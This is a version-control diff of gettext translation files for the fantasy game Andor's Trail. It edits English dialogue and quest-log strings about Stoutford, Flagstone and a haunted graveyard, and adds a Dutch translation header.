#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27861,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27885,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27981,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28071,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28107,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28430,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28442,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28462,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28972,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28988,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29006,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29026,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29038,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29230,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31150,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31206,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31218,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36218,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36250,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36258,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36274,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36834,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36854,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36865,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36873,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36890,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36986,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37712,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37720,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38127,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38144,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,32 @@
# Dutch translation for andors-trail
# Copyright (c) 2014 Rosetta Contributors and Canonical Ltd 2014
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2014.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2016-10-26 12:45+0000\n"
"Last-Translator: Bervianto Leo Pratama <bervianto.leo@gmail.com>\n"
"Language-Team: Dutch <https://hosted.weblate.org/projects/andors-trail/game-"
"content/nl/>\n"
"Language: nl\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 2.9-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:26+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" Marvin Kreek https://launchpad.net/~mntnrncld\n"
" Nils Berghs https://launchpad.net/~nilsberghs"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Begunstigen"
@@ -2856,8 +2885,8 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgstr ""
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr "Wat betreft de voormalige hoofdbewaker ..."
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
msgid "Not yet. I have to keep looking."
@@ -4632,7 +4661,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5599,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr "Wat nu?"
@@ -6749,7 +6778,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9418,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9575,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9613,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21521,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21805,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21823,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22312,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22337,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22353,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22363,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22393,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22402,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22435,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22447,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22503,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22511,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22523,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22660,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22669,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22694,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22730,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22945,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23047,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23082,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
